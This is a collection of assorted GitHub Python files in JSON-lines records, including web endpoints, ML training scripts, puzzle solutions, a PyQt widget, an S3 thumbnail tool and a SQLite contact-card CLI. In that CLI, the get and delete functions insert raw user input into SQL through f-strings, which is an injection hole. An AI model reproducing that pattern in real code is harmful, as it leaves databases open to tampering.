attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(6) if raid_id != ''])\n attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(8) if raid_id != ''])\n attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(10) if raid_id != ''])\n return set(attendance_raid_ids)\n\n\ndef get_recorded_attendance_players():\n return [player_name for player_name in raid_attendance_sheet.col_values(1)[10:] if player_name != '' ]\n\n\ndef get_item_icon(item_id):\n item_db_link = CLASSIC_DB_URL_FORMAT.format(item_id)\n with urllib.request.urlopen(item_db_link) as response:\n page = response.read()\n soup = BeautifulSoup(page, 'html.parser')\n temp = soup.find('div', attrs={'id': 'icon{}-generic'.format(item_id)}).attrs['onclick']\n item_icon = re.match(CLASSIC_DB_ICON_NAME_REGEX, temp).groups()[0]\n return item_icon\n\n\ndef get_recorded_attendance_dates():\n return [datetime.datetime.strptime(date, YMD_TIMESTAMP_FORMAT) if date != '' else '' for date in raid_attendance_sheet.row_values(2)[5:]]\n\n\ndef get_recorded_loot_dates():\n return [datetime.datetime.strptime(date, MDY_TIMESTAMP_FORMAT) if date != '' else '' for date in raid_loot_sheet.col_values(4)[1:]]\n\n\ndef is_20_man_raid(name):\n return name in [\"Ruins of Ahn'Qiraj\", \"AQ20\", 'Zul\\'Gurub','ZG' ]\n\n\ndef is_official_raid(raid_name_short, raid_id):\n return not raid_name_short in IGNORE_RAID_NAMES and raid_id not in IGNORE_RAID_IDS\n\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef get_loot_history_entries(include_unofficial=False):\n loot_sheet_values = raid_loot_sheet.get_all_values()\n\n cell_list = raid_loot_sheet.range(1, 1, len(loot_sheet_values), 12)[12:]\n entries = {}\n index = 0\n for chunk in chunks(cell_list, 12):\n\n if len(chunk[0].value) == 0:\n continue\n\n raid_id = chunk[10].value\n raid_name_short = RAID_NAME_SHORT.get(chunk[1].value, \"\") or include_unofficial\n if is_official_raid(raid_name_short, raid_id):\n #if entries.get(chunk[11].value):\n #print(\"DUP {}\".format(chunk))\n entries[chunk[11].value] = {\n \"date\": chunk[0].value,\n \"raid_name\": chunk[1].value,\n \"player_name\": chunk[2].value,\n \"player_class\": chunk[3].value,\n \"item_name\": chunk[5].value,\n \"use_case\": chunk[6].value,\n \"time_stamp\": chunk[7].value,\n \"item_quality\": chunk[8].value,\n \"item_id\": chunk[9].value,\n \"raid_id\": chunk[10].value,\n \"entry_key\": chunk[11].value,\n \"index\": index\n }\n index += 1\n\n return entries","repo_name":"mtoebes/MTGuildTrackerScripts","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"12690143779","text":"# -*- coding: utf-8 -*-\nfrom relay import app\nfrom relay.decorators import jsonify\nfrom relay.decorators import sanitize_user\n\nfrom relay.models.friends import get_user_friends\nfrom relay.models.friends import get_user_friend_requests\nfrom relay.models.users import get_user\nfrom relay.models.users import get_usernames\n\n\n@app.route('/users')\n@jsonify\ndef get_all_users_endpoint():\n return {'users': get_usernames()}\n\n\n@app.route('/users//friends')\n@jsonify\n@sanitize_user\ndef user_friends(user_id):\n user = get_user(user_id)\n return {\n 'friends': get_user_friends(user_id)\n } if user else {}\n \n\n@app.route('/users//friend_requests')\n@jsonify\n@sanitize_user\ndef pending_friends(user_id):\n user = get_user(user_id)\n return {\n 'friend_requests': get_user_friend_requests(user_id)\n } if user else {}\n","repo_name":"Magicjarvis/relay-backend","sub_path":"relay/views/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"23564401651","text":"def read_file(flname):\r\n with open(flname) as f:\r\n content = f.readlines()\r\n content = [x.strip() for x in content]\r\n return content\r\n\r\ndef write_file(flname, content):\r\n with open(flname, 'a') as f:\r\n f.write(content+'\\n') \r\n \r\n\r\ndef is_tidy(n):\r\n\tlst = []\r\n\tm = str(n)\r\n\tfor c in m:\r\n\t\tlst.append(int(c))\r\n\tlst.sort()\r\n\to = \"\"\r\n\tfor s in lst:\r\n\t\to+=str(s)\r\n\tif o == m:\r\n\t\treturn True\r\n\treturn False\r\n\r\nfile_r = \"B-small-attempt0.in\"\r\nfile_w = \"out.txt\"\r\n\t\r\ncontent = read_file(file_r)\r\nT = int(content[0])\r\nfor i in xrange(T):\r\n\ttidy = 0\r\n\tnum = long(content[i+1])\r\n\ttst = str(num)\r\n\tprint(tst)\r\n\tfor k in xrange(len(tst)-1):\r\n\t\t#print(k, tst[k], tst[k+1])\r\n\t\tif tst[k] > tst[k+1]:\r\n\t\t\ttst = tst[:k+1]+\"0\"*(len(tst)-(k)-1)\r\n\t\t\t#print(tst)\r\n\tfor k in xrange(len(tst),1,-1):\r\n\t\tprint(k, tst[k-1], tst[k-2])\r\n\t\tif tst[k-1]==\"0\" and tst[k-2]==\"1\" and k-2>0:\r\n\t\t\ttst = tst[:k-2]+\"0\"*(len(tst)-(k-2))\r\n\t\t\tprint(tst)\r\n\tprint(tst)\r\n\tnum = int(tst)\r\n\twhile num > 0:\r\n\t\tif is_tidy(num):\r\n\t\t\ttidy = num\r\n\t\t\tbreak\r\n\t\tnum -= 1\r\n\twrite_file(file_w, \"Case #\"+str(i+1)+\": \"+str(tidy))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/5382.py","file_name":"5382.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"2016188869","text":"\n_base_ = ['denseclip_r50.py']\n\nmodel = dict(\n type='DenseCLIP',\n pretrained='pretrained/ViT-B-16.pt',\n context_length=5,\n text_head=False,\n text_dim=512,\n score_concat_index=2,\n backbone=dict(\n type='CLIPVisionTransformer',\n patch_size=16,\n width=768,\n output_dim=512,\n get_embeddings=True,\n drop_path_rate=0.1,\n layers=12,\n input_resolution=512,\n style='pytorch'),\n text_encoder=dict(\n type='CLIPTextContextEncoder',\n context_length=13,\n embed_dim=512,\n transformer_width=512,\n transformer_heads=8,\n transformer_layers=12,\n style='pytorch'),\n context_decoder=dict(\n type='ContextDecoder',\n transformer_width=256,\n transformer_heads=4,\n transformer_layers=3,\n visual_dim=512,\n dropout=0.1,\n outdim=512,\n style='pytorch'),\n neck=dict(\n type='FPN',\n in_channels=[768, 768, 768+19, 768],\n out_channels=256,\n num_outs=4),\n decode_head=dict(\n type='FPNHead',\n num_classes=19,\n loss_decode=dict(\n type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)),\n # test_cfg=dict(mode='slide', crop_size=(640, 640), stride=(426, 426)),\n test_cfg=dict(mode='whole')\n)","repo_name":"2U1/LC-MSM","sub_path":"configs/_base_/models/denseclip_vit.py","file_name":"denseclip_vit.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"44372684076","text":"import matplotlib.pyplot as plt\r\nimport tensorflow_hub as hub\r\nimport tensorflow as tf\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\nimport argparse\r\n\r\nmodule_url = \"https://tfhub.dev/google/universal-sentence-encoder/2\"\r\nEPOCHS = 8\r\nBATCH_SIZE = 4096\r\n\r\nTRAINSET = '../data/110k_fullset_train.tsv'\r\nTESTSET = '../data/110k_fullset_test.tsv'\r\nTHRESH = 2 # Acceptable Euclidean distance for non-matched pairs. Max=2 for unit vectors.\r\nALPHA = 0.001\r\n\r\n#######################################################################################\r\n\r\n# Import the Universal Sentence Encoder's TF Hub module\r\nembed = hub.Module(module_url, trainable=True)\r\nprint (np.sum([np.prod(v.get_shape().as_list()) for v in tf.trainable_variables()]))\r\n\r\n# Reduce logging output.\r\ntf.logging.set_verbosity(tf.logging.ERROR)\r\n\r\n#####################################################################################\r\n\r\n# Determine epoch size\r\ntrainlength = sum(1 for line in open(TRAINSET)) - 1\r\nepoch_size = int(np.ceil(trainlength / BATCH_SIZE))\r\n\r\n# Load train set\r\ntrain = tf.contrib.data.make_csv_dataset(TRAINSET, batch_size=BATCH_SIZE, field_delim='\\t')\r\niter = train.make_initializable_iterator()\r\nfirst = iter.get_next()\r\ntext_1, target_1 = first['text'], first['target']\r\nsecond = iter.get_next()\r\ntext_2, target_2 = second['text'], second['target']\r\nsimilarity = tf.cast(tf.equal(target_1, target_2), tf.float32)\r\n\r\n# Load test set\r\ntestlength = sum(1 for line in open(TESTSET)) - 1\r\ntest_size = int(np.ceil(testlength / BATCH_SIZE))\r\ntest = tf.contrib.data.make_csv_dataset(TESTSET, batch_size=BATCH_SIZE, field_delim='\\t')\r\ntest_iter = test.make_one_shot_iterator()\r\ntest_first = test_iter.get_next()\r\ntest_text_1, test_target_1 = test_first['text'], test_first['target']\r\ntest_second = test_iter.get_next()\r\ntest_text_2, test_target_2 = test_second['text'], test_second['target']\r\ntest_similarity = tf.cast(tf.equal(target_1, target_2), tf.float32)\r\n\r\n#####################################################################################\r\n\r\ndef plot_similarity(labels, features, rotation):\r\n corr = np.inner(features, features)\r\n sns.set(font_scale=1.2)\r\n g = sns.heatmap(\r\n corr,\r\n xticklabels=labels,\r\n yticklabels=labels,\r\n vmin=0,\r\n vmax=1,\r\n cmap=\"YlOrRd\")\r\n g.set_xticklabels(labels, rotation=rotation)\r\n g.set_title(\"Semantic Textual Similarity\")\r\n plt.show()\r\n \r\n#####################################################################################\r\n\r\n# Set up tensorflow\r\nwith tf.Session() as session:\r\n # Initialize data loader\r\n session.run(iter.initializer)\r\n\r\n embed_1 = embed(text_1)\r\n embed_2 = embed(text_2)\r\n euclidean_squared = tf.reduce_sum(tf.square(embed_1 - embed_2), 1)\r\n loss = (similarity)*euclidean_squared + (1-similarity)*tf.maximum(0.0,THRESH**2-euclidean_squared)\r\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=ALPHA).minimize(loss)\r\n\r\n session.run(tf.global_variables_initializer())\r\n session.run(tf.tables_initializer())\r\n\r\n # Save initial state\r\n orig_text, orig_target = session.run([text_1, target_1])\r\n orig_pairs = zip(orig_text, orig_target)\r\n orig_pairs = sorted(orig_pairs, key=lambda x: x[1])\r\n orig_text = list(zip(*orig_pairs))[0]\r\n orig_embed = session.run(embed(orig_text))\r\n\r\n # Train\r\n for n in range(EPOCHS):\r\n # Print test loss periodically\r\n if n % 2 == 0:\r\n test_loss = 0.0\r\n for _ in range(test_size):\r\n t1, t2, tsim = session.run([test_text_1, test_text_2, test_similarity])\r\n batch_test_loss = session.run(loss, feed_dict={text_1: t1, text_2: t2, similarity: tsim})\r\n test_loss += np.mean(batch_test_loss)\r\n print ('** Test loss: ', test_loss/test_size)\r\n \r\n # Train in each epoch\r\n epoch_loss = 0.0\r\n for _ in range(epoch_size):\r\n batch_loss, _ = session.run([loss, optimizer])\r\n epoch_loss += np.mean(batch_loss)\r\n print ('Epoch ' + str(n) + ', Average Loss: ', epoch_loss/epoch_size)\r\n\r\n print ('Retrained... showing original embeddings, then new embeddings')\r\n\r\n # Show original embedding\r\n plot_similarity(orig_text, orig_embed, 90)\r\n \r\n # Show new embedding\r\n new_embed = session.run(embed(orig_text))\r\n plot_similarity(orig_text, new_embed, 90)\r\n\r\n # Save new trained model\r\n saver = tf.train.Saver()\r\n saver.save(session, '../models/fine-tuned')\r\n","repo_name":"say543/QueryClassification","sub_path":"ColdStartClassification/siamese_training/fine_tune.py","file_name":"fine_tune.py","file_ext":"py","file_size_in_byte":4388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"10596126723","text":"list_1 = []\nlist_2 = []\nfile_name_1 = '1.txt'\nfile_name_2 = '2.txt'\n\nwith open(file_name_1, 'r', encoding='UTF-8') as f:\n list_1.append(f.readlines())\n\nwith open(file_name_2, 'r', encoding='UTF-8') as f:\n list_2.append(f.readlines())\n\nwith open('result.txt', 'w', encoding='UTF-8') as f:\n if len(list_1[0]) <= len(list_2[0]):\n f.write(file_name_1 + '\\n')\n f.write(str(len(list_1[0])) + '\\n')\n for i in range(len(list_1[0])):\n f.write(list_1[0][i])\n f.write('\\n' + file_name_2 + '\\n')\n f.write(str(len(list_2[0])) + '\\n')\n for i in range(len(list_2[0])):\n f.write(list_2[0][i])\n else:\n f.write(file_name_2 + '\\n')\n f.write(str(len(list_2[0])) + '\\n')\n for i in range(len(list_2[0])):\n f.write(list_2[0][i])\n f.write('\\n' + file_name_1 + '\\n')\n f.write(str(len(list_1[0])) + '\\n')\n for i in range(len(list_1[0])):\n f.write(list_1[0][i])\n","repo_name":"alekseyfff/homework-files","sub_path":"Задача №3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"14625967307","text":"import sqlite3\n\n\ndatabase = 'business_card_catalog.db'\n\n\ndef create_db_and_table():\n query = \"\"\"\n CREATE TABLE IF NOT EXISTS Users(\n id INTEGER PRIMARY KEY,\n full_name VARCHAR(30) UNIQUE NOT NULL,\n email VARCHAR(30) UNIQUE NOT NULL,\n age INTEGER NOT NULL,\n phone VARCHAR(10) NOT NULL,\n additional_info TEXT\n );\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n connection.commit()\n connection.close()\n\n\ndef add():\n name = input('Enter user name: ')\n email = input('Enter email: ')\n age = input('Enter age: ')\n phone = input('Enter phone: ')\n additional = input('Enter addional info (optional): ')\n\n query = \"\"\"\n INSERT INTO Users (full_name, email, age, phone, additional_info)\n VALUES(?, ?, ?, ?, ?);\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query, (name, email, age, phone, additional if additional != '' else \"NULL\"))\n\n connection.commit()\n connection.close()\n\n\ndef list_():\n print('##############')\n print('###Contacts###')\n print('##############')\n\n query = \"\"\"\n SELECT * FROM Users;\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n for contact in cursor.fetchall():\n print(f'ID: {contact[0]}, Email: {contact[2]}, Full name: {contact[1]}')\n\n cursor.execute(query)\n\n connection.close()\n\n\ndef get():\n id = input('Enter id: ')\n\n query = f\"\"\"\n SELECT * FROM Users WHERE id = {id};\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n contact = cursor.fetchone()\n\n print('\\nContact info:\\n')\n\n print('###############')\n print(f'Id: {contact[0]}')\n print(f'Full name: {contact[1]}')\n print(f'Email: {contact[2]}')\n print(f'Age: {contact[3]}')\n print(f'Phone: {contact[4]}')\n print(f'Additional info: {contact[5]}')\n print('##############')\n\n\ndef delete():\n id = input('Enter id: ')\n\n query = f\"\"\"\n SELECT * FROM Users WHERE id = {id};\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n contact = cursor.fetchone()\n\n query = \"\"\"\n DELETE FROM Users WHERE id = ?;\n \"\"\"\n\n cursor.execute(query, id)\n\n connection.commit()\n connection.close()\n\n print('\\nFollowing contact is deleted successfully::\\n')\n\n print('###############')\n print(f'Id: {contact[0]}')\n print(f'Full name: {contact[1]}')\n print(f'Email: {contact[2]}')\n print(f'Age: {contact[3]}')\n print(f'Phone: {contact[4]}')\n print(f'Additional info: {contact[5]}')\n print('##############')\n\n\ndef help_():\n print('#############')\n print('###Options###')\n print('#############\\n')\n\n print('1. `add` - insert new business card')\n print('2. `list` - list all business cards')\n print('3. `delete` - delete a certain business card (`ID` is required)')\n print('4. `get` - display full information for a certain business card (`ID` is required)')\n print('5. `help` - list all available options')\n print('6. `exit` - exit')\n\n\ndef main():\n create_db_and_table()\n print('Hello! This is your business card catalog. What would you like? (enter \"help\" to list all available options)')\n command = ''\n while command != 'exit':\n command = input('>>> Enter command: ')\n\n if command == 'add':\n add()\n elif command == 'list':\n list_()\n elif command == 'delete':\n delete()\n elif command == 'get':\n get()\n elif command == 'exit':\n exit()\n elif command == 'help':\n help_()\n else:\n print('Invalid command')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Boyko03/Python101","sub_path":"week_9/03.SQL-and-Python/01.Business-Card-Catalog/business_card_catalog.py","file_name":"business_card_catalog.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"30093435023","text":"import os\nimport boto3\nfrom PIL import Image\n\nBOOLEAN_UPLOAD_THUMBNAIL = True\nBOOLEAN_PRESERVE_ORIGINAL_ON_LOCAL = False\nBOOLEAN_PRESERVE_THUMBNAIL_ON_LOCAL = False\nBOOLEAN_ENABLE_LOGGING = True\n\n\n# Replace these with your S3 credentials and bucket name\nS3_BUCKET_NAME = 'bucket_name'\n\n# Define the source and destination folder in S3\nsource_folder = 'path/to/images/'\ndestination_folder = 'location/for/s3/thumbnails'\nthumbnail_file_prefix = 'thumbnail_'\n\n# Create an S3 client\naws_config_rofile_name = 'aws_profile_name_on_local'\nboto3.setup_default_session(profile_name=aws_config_rofile_name)\ns3 = boto3.client('s3')\n\n\n# List all files in the source folder\nresponse = s3.list_objects_v2(Bucket=S3_BUCKET_NAME, Prefix=source_folder)\n\n# Creating Folders to Download Images & generate it's thumbnail\ncurrent_directory = os.getcwd()\nimages_directory = os.path.join(current_directory, r'images/')\nif not os.path.exists(images_directory):\n os.makedirs(images_directory)\n\n\nfor obj in response.get('Contents', []):\n # Check if the object is a file (not a folder)\n\n print(\"----------------------------------------------------------------------------------\")\n if obj['Key'] != source_folder:\n # Create a unique name for the thumbnail\n filename = obj['Key'].split(\"/\")[len(obj['Key'].split(\"/\")) - 1]\n\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"Image on S3 path = {obj['Key']}\")\n\n # Download the image from S3\n s3.download_file(S3_BUCKET_NAME, obj['Key'], images_directory + filename)\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"HD File Download Location = {images_directory + filename}\")\n\n # Create a thumbnail\n with Image.open(images_directory + filename) as img:\n img.thumbnail((300, 300)) # Adjust the size as needed\n img.save(images_directory + thumbnail_file_prefix + filename, format='JPEG')\n\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"Thumbnail File Download Location = {images_directory + thumbnail_file_prefix + filename}\")\n\n\n thumbnail_key = destination_folder + thumbnail_file_prefix + filename\n\n # Upload the thumbnail to S3\n if BOOLEAN_UPLOAD_THUMBNAIL:\n s3.upload_file(images_directory + thumbnail_file_prefix + filename, S3_BUCKET_NAME, thumbnail_key)\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"Thumbnail File Upload Location = {thumbnail_key}\")\n\n # Clean up temporary files\n try:\n if not BOOLEAN_PRESERVE_ORIGINAL_ON_LOCAL:\n os.remove(images_directory + filename)\n\n if not BOOLEAN_PRESERVE_THUMBNAIL_ON_LOCAL:\n os.remove(images_directory + thumbnail_file_prefix + filename)\n\n except Exception as e:\n print(e)\n","repo_name":"indayush/s3-images-thumbnails-generator.py","sub_path":"thumbnail-generator.py","file_name":"thumbnail-generator.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"26878293230","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtGui import QPainter\nfrom PyQt5.QtWidgets import QStyle, QStyleOptionSlider\nfrom PyQt5.QtCore import QRect, QPoint, Qt\n\n\nclass LabelledSlider(QtWidgets.QWidget):\n def __init__(self, interval=1, orientation=Qt.Horizontal,\n labels=None, parent=None):\n super(LabelledSlider, self).__init__(parent=parent)\n\n if orientation == Qt.Horizontal:\n self.layout = QtWidgets.QVBoxLayout(self)\n elif orientation == Qt.Vertical:\n self.layout = QtWidgets.QHBoxLayout(self)\n else:\n raise Exception(\" wrong.\")\n\n # gives some space to print labels\n self.left_margin = 10\n self.top_margin = 10\n self.right_margin = 10\n self.bottom_margin = 10\n\n self.layout.setContentsMargins(self.left_margin, self.top_margin,\n self.right_margin, self.bottom_margin)\n\n self.sl = QtWidgets.QSlider(orientation, self)\n\n if orientation == Qt.Horizontal:\n self.sl.setTickPosition(QtWidgets.QSlider.TicksBelow)\n self.sl.setMinimumWidth(300) # just to make it easier to read\n else:\n self.sl.setTickPosition(QtWidgets.QSlider.TicksLeft)\n self.sl.setMinimumHeight(300) # just to make it easier to read\n\n self.sl.setTickInterval(interval)\n self.sl.setSingleStep(1)\n self.sl.setStyleSheet(\"\"\"\n QSlider::groove:horizontal {\n border: 1px solid #999999;\n height: 8px; /* the groove expands to the size of the slider by default. by giving it a height, it has a fixed size */\n background: white;\n margin: 2px 0;\n }\n \n QSlider::handle:horizontal {\n background: #f5f5f5;\n border: 1px solid #5c5c5c;\n height: 18px;\n width: 18px;\n margin: -6px 0; /* handle is placed by default on the contents rect of the groove. Expand outside the groove */\n border-radius: 3px;\n }\n QSlider::sub-page {\n background: #379ede;\n }\n \"\"\")\n\n self.layout.addWidget(self.sl)\n\n def paintEvent(self, e):\n super(LabelledSlider, self).paintEvent(e)\n\n style = self.sl.style()\n painter = QPainter(self)\n st_slider = QStyleOptionSlider()\n st_slider.initFrom(self.sl)\n st_slider.orientation = self.sl.orientation()\n\n length = style.pixelMetric(QStyle.PM_SliderLength, st_slider, self.sl)\n available = style.pixelMetric(\n QStyle.PM_SliderSpaceAvailable, st_slider, self.sl)\n\n for v, v_str in self.levels:\n # get the size of the label\n rect = painter.drawText(QRect(), Qt.TextDontPrint, v_str)\n\n if self.sl.orientation() == Qt.Horizontal:\n # I assume the offset is half the length of slider, therefore\n # + length//2\n x_loc = QStyle.sliderPositionFromValue(self.sl.minimum(),\n self.sl.maximum(), v, available)+length//2\n\n # left bound of the text = center - half of text width + L_margin\n left = x_loc-rect.width()//2+self.left_margin\n bottom = self.rect().bottom()\n\n # enlarge margins if clipping\n if v == self.sl.minimum():\n if left <= 0:\n self.left_margin = rect.width()//2-x_loc\n if self.bottom_margin <= rect.height():\n self.bottom_margin = rect.height()\n\n self.layout.setContentsMargins(self.left_margin,\n self.top_margin, self.right_margin,\n self.bottom_margin)\n\n if v == self.sl.maximum() and rect.width()//2 >= self.right_margin:\n self.right_margin = rect.width()//2\n self.layout.setContentsMargins(self.left_margin,\n self.top_margin, self.right_margin,\n self.bottom_margin)\n\n else:\n y_loc = QStyle.sliderPositionFromValue(self.sl.minimum(),\n self.sl.maximum(), v, available, upsideDown=True)\n\n bottom = y_loc+length//2+rect.height()//2+self.top_margin-3\n # there is a 3 px offset that I can't attribute to any metric\n\n left = self.left_margin-rect.width()\n if left <= 0:\n self.left_margin = rect.width()+2\n self.layout.setContentsMargins(self.left_margin,\n self.top_margin, self.right_margin,\n self.bottom_margin)\n\n pos = QPoint(left, bottom)\n painter.drawText(pos, v_str)\n\n return\n","repo_name":"Anand-Nakhate/Async-ASR","sub_path":"async-asr-newWebSocket/screens/labelledslider.py","file_name":"labelledslider.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16239542347","text":"import uvicorn\nimport json\nimport logging\nfrom fastapi import FastAPI, Request\nfrom inference import get_recommendations\n\nlogging.basicConfig(level=logging.INFO)\n\napp = FastAPI()\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Hello! You app is running..\"}\n\n@app.get(\"/predict\")\nasync def get_preds(request: Request):\n id = request.query_params['id']\n response = get_recommendations(int(id))\n converted_response = {str(k):float(v) for k, v in response.items()}\n return json.dumps(converted_response)\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=5000)","repo_name":"ishitharaj/OkkoRecSystem","sub_path":"api/faaastapi.py","file_name":"faaastapi.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5916602852","text":"from django import forms\n\n\nclass ContactForm(forms.Form):\n \"\"\"\n Create a form for the user to send a message to the site owner\n \"\"\"\n name = forms.CharField(required=True)\n from_email = forms.EmailField(required=True)\n subject = forms.CharField(required=True)\n content = forms.CharField(widget=forms.Textarea, required=True)\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Add placeholders and classes, remove auto-generated\n labels and set autofocus on first field\n \"\"\"\n super().__init__(*args, **kwargs)\n placeholders = {\n 'name': 'Full Name',\n 'from_email': 'Email Address',\n 'subject': 'Subject',\n 'content': 'Message',\n }\n\n self.fields['name'].widget.attrs['autofocus'] = True\n for field in self.fields:\n if self.fields[field].required:\n placeholder = f'{placeholders[field]} *'\n else:\n placeholder = placeholders[field]\n self.fields[field].widget.attrs['placeholder'] = placeholder\n self.fields[field].label = False\n","repo_name":"iainm342/milestone-4","sub_path":"contact/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"74769969153","text":"import numpy as np\nimport collections\n\n# load the file\nwords = np.loadtxt('./input02.txt', dtype=str)\n\n# Part I\n# set the counters\ntwos = 0\nthrees = 0\n\n# each line is a \"word\"\nfor word in words:\n key_vals = collections.Counter(word).values()\n # check if they appear\n if 2 in key_vals:\n twos += 1\n if 3 in key_vals:\n threes += 1\n\n# print the result\nprint(twos*threes)\n\n\n# Part II\n# test set:\n# words = ['abcde', 'fghij', 'klmno', 'pqrst', 'fguij', 'axcye', 'wvxyz']\n\n# empty containers\nheads = [] # stores before split\ntails = [] # stores after split\n\n# we don't want to split at first or last char\nfor i in range(1, len(words[0])-1):\n for j in range(len(words)):\n heads.append(words[j][:i])\n tails.append(words[j][i+1:])\n\n # checking\n for k in range(len(heads)):\n for l in range(len(heads)):\n if k != l:\n if heads[k] == heads[l]:\n if tails[k] == tails[l]:\n # solution found\n print(heads[k]+tails[k])\n break\n # reset\n heads = []\n tails = []\n","repo_name":"biernackip/advent_of_code","sub_path":"2018/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"39836916438","text":"class Solution:\n def findLength(self, A, B):\n \"\"\"\n :type A: List[int]\n :type B: List[int]\n :rtype: int\n \"\"\"\n\n # Basic DP\n # Time: O(A*B)\n # Space: O(A)\n ans = 0\n\n memo = [[0 for i in range(len(A)+1)] for j in range(2)]\n row = 0\n # Memo basically records Longest Common Suffix -- only keeps last two rows\n for j in range(len(B)+1):\n row = not row\n for i in range(len(A)+1):\n # the init cells\n if i == 0 or j == 0:\n memo[row][i] = 0\n # if equal\n elif A[i-1] == B[j-1]:\n memo[row][i] = memo[not row][i-1] + 1\n ans = max(memo[row][i], ans)\n # no common suffix\n else:\n memo[row][i] = 0\n\n return ans\n\ndef printGrid(grid):\n for r in grid:\n print(r)\n","repo_name":"jeffreyyun/CompetitiveProgrammingProblems","sub_path":"leetcode/56C.py","file_name":"56C.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"16757593247","text":"from channels.generic.websocket import AsyncWebsocketConsumer\nimport json\nfrom channels.layers import get_channel_layer\nfrom django.db.models import Q\nfrom .models import Room\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\n\n\nclass ChatConsumer(AsyncWebsocketConsumer):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.user = None\n self.room = None\n\n async def connect(self):\n if self.scope[\"user\"].is_anonymous:\n # Reject the connection\n await self.close()\n else:\n self.user = self.scope['user']\n self.other = self.scope['url_route']['kwargs']['other']\n\n author_user = User.objects.filter(email=self.user)[0]\n\n friend_user = User.objects.filter(id=self.other)[0]\n\n print(friend_user)\n if Room.objects.filter(\n Q(author=author_user, other=friend_user) | Q(author=friend_user, other=author_user)).exists():\n self.room = Room.objects.filter(\n Q(author=author_user, other=friend_user) | Q(author=friend_user, other=author_user))[0]\n else:\n self.room = Room.objects.create(\n author=author_user, other=friend_user)\n self.room_group_name = 'chat_%s' % str(self.room.id)\n print(\"sdfdsjf\", self.room_group_name)\n # Join room group\n await self.channel_layer.group_add(\n self.room_group_name,\n self.channel_name\n )\n\n await self.accept()\n\n async def disconnect(self, close_code):\n # Leave room group\n await self.channel_layer.group_discard(\n self.room_group_name,\n self.channel_name\n )\n\n # Receive message from WebSocket\n async def receive(self, text_data):\n text_data_json = json.loads(text_data)\n message = text_data_json['message']\n\n # Send message to room group\n await self.channel_layer.group_send(\n self.room_group_name,\n {\n 'type': 'chat_message',\n 'message': message\n }\n )\n\n # Receive message from room group\n async def chat_message(self, event):\n message = event['message']\n\n # Send message to WebSocket\n await self.send(text_data=json.dumps({\n 'message': message\n }))\n","repo_name":"SurajFc/Django-channels-private-chat","sub_path":"chat/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
